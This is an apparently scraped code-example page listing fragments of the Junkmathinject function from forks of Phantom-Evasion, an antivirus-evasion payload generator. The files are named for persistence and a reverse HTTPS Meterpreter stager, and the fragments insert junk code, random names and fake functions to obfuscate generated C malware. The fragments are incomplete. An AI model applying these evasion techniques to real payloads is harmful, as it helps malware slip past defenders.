Python Junkmathinject示例

示例#1

文件： Windows_C_Persistence_TimeBased.py 项目： zyayaa/Phantom-Evasion

Procname = sys.argv[2]

WaitBeforeCheck = sys.argv[3]

Evasion_Junkcode = sys.argv[4]

SpawnMultiProc = int(sys.argv[5])

RandBool = varname_creator()

RandEntry = varname_creator()

RandHandle = varname_creator()

Junkcode_01 = Junkmathinject()  # Junkcode
Junkcode_02 = Junkmathinject()  # Junkcode
Junkcode_03 = Junkmathinject()  # Junkcode
Junkcode_04 = Junkmathinject()  # Junkcode
Junkcode_05 = Junkmathinject()  # Junkcode
Junkcode_06 = Junkmathinject()  # Junkcode
Junkcode_07 = Junkmathinject()  # Junkcode

WinEvasion_01 = windows_evasion()
WinEvasion_02 = windows_evasion()
WinEvasion_03 = windows_evasion()
WinEvasion_04 = windows_evasion()
WinEvasion_05 = windows_evasion()

Hollow_code = ""

示例#2

Randlpv = varname_creator()

Randhand = varname_creator()

Randresult = varname_creator()

Randthread = varname_creator()

Oldprot = varname_creator()

Randbool = varname_creator()

Ndcvirtualpro = varname_creator()

Junkcode_01 = Junkmathinject()
Junkcode_02 = Junkmathinject()
Junkcode_03 = Junkmathinject()
Junkcode_04 = Junkmathinject()
Junkcode_05 = Junkmathinject()
Junkcode_06 = Junkmathinject()
Junkcode_07 = Junkmathinject()
Junkcode_08 = Junkmathinject()
Junkcode_09 = Junkmathinject()
Junkcode_10 = Junkmathinject()
Junkcode_11 = Junkmathinject()
Junkcode_12 = Junkmathinject()
Junkcode_13 = Junkmathinject()
Junkcode_14 = Junkmathinject()
Junkcode_15 = Junkmathinject()
Junkcode_16 = Junkmathinject()

示例#3

文件： x86ReverseHttpsMeterpreter_virtualNDC_C_windows.py 项目： yuhisern7/Phantom-Evasion

RandFuncFlag1 = varname_creator()

RandFuncFlag2 = varname_creator()

Charset = ''.join(
    sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
           62))

fake_funcname1 = varname_creator()

fake_funcname2 = varname_creator()

fake_func1 = ""
fake_func1 += "void " + fake_funcname1 + "(){\n"
fake_func1 += Junkmathinject()
fake_func1 += "}\n"

fake_func2 = ""
fake_func2 += "void " + fake_funcname2 + "(){\n"
fake_func2 += Junkmathinject()
fake_func2 += "}\n"

def_func1 = ""
def_func1 += "int " + SumValueFunc + "(char " + RandCharArray + "[]) {\n"
def_func1 += "int " + RandInteger + "=0; int " + RandFuncFlag1 + ";for (" + RandFuncFlag1 + "=0; " + RandFuncFlag1 + "<strlen(" + RandCharArray + ");++" + RandFuncFlag1 + ") " + RandInteger + " += " + RandCharArray + "[" + RandFuncFlag1 + "];\n"
def_func1 += "return (" + RandInteger + " % 256);}\n"

def_func2 = ""
def_func2 += "char* " + ChecksumFunction + "(){\n"
def_func2 += "srand (time(NULL));int " + RandFuncFlag2 + ";char " + RandCharset + "[] = \"" + Charset + "\";\n"